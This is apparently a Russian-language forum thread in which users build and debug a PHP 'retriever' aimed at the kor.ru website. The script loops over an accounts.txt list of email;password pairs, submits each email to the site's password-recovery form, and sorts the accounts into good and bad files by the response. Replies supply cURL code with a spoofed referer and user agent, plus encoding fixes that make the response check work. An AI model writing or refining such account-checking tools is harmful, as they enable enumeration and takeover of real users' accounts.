Всем привет.Пишу тут ретривер для КОРа,но чего-то не выходит восстановить письмо.Непонятно,что за РНР скрипт обрабатывает восстановление пароля.Вот примерный код: PHP: <?php set_time_limit(0); include "funcs.php"; $fp = fopen("accounts.txt","r"); $fp1 = fopen("good.txt","a+"); $fp2 = fopen("bad.txt","a+"); while(!feof($fp)) { $str = fgets($fp,1024); $str1 = explode(";",trim($str)); $r = retpost("http://www.kor.ru/password/recover","email=$str1[0]&submit=Вспомнить"); if(preg_match("|Пароль выслан|",$r)) { fwrite($fp1,"$str1[0];$str1[1]\r\n"); } else { fwrite($fp2,"$str1[0];$str1[1]\r\n"); } } fclose($fp); fclose($fp1); fclose($fp2); ?> Мб регулярка и пральная,но записывает в bad.txt.Подозреваю,что это из-за неправильного запроса.Других причин просто не вижу.Кто поможет ?
Ну отсылает нормально правда такого мыла нет, дальше через регулярки и RETURNTRANSFER на 1 переключи. PHP: <?php $ch = curl_init('http://www.kor.ru/password/recover'); curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0); curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover'); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); curl_setopt($ch, CURLOPT_COOKIEFILE, './cook'); curl_setopt($ch, CURLOPT_COOKIEJAR, './cook'); curl_exec($ch); ?>
Пробовал так сделать: preg_match("|(.*)|",$r,$sam); print_r($sam); Возвращает еденицу(.returntransfer в 0 и 1 пробовал но бестолку. ЗЫ: Пытался спарсить фразу 'Пароль выслан',но регулярки у меня почему-то не работают кроме (.*).Возвращает пустой массив,или кучу пустых элементов.Одно ясно,что результат возвращается,вот а почему элементарный контекстный поиск не работает...
Кнопка =\ Потому что там UTF-8 PHP: <?php $ch = curl_init('http://www.kor.ru/password/recover'); curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS,'email=b3%40bygaga.com&submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_REFERER,'http://www.kor.ru/password/recover'); curl_setopt($ch, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3'); $res = curl_exec($ch); curl_close($ch); $txt = iconv('Windows-1251','UTF-8','Неверный адрес'); if(preg_match("#$txt#",$res)) echo 'Неверный адрес ага'; ?> ЗЫ пробелы убереш в : submit=%D0%92%D1%81%D0%BF%D0%BE%D0%BC%D0%BD%D0%B8%D1%82%D1%8C